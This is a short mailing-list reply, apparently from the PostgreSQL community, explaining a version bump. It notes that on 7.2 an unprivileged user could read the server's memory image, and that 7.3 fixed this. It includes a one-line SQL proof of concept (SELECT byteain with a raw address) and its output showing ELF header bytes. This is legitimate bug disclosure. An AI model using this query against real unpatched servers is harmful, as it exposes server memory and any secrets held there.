Re: why was libpq.so's version number bumped?

Bruce Momjian <pgman@candle.pha.pa.us> writes:

>> Hmm?  On 7.2, an unpriviliged database user can read the more or less
>> the whole memory image of the server process.  On 7.3, this has been
>> fixed.
>
> Huh.  Never heard that before.

It's the cash_out(2) crash, but with some other conversion function:

rusfw=> SELECT byteain(134512640);
       byteain       
---------------------
 \177ELF\001\001\001
(1 row)

rusfw=> 

(Of course, the address varies from machine to machine.)

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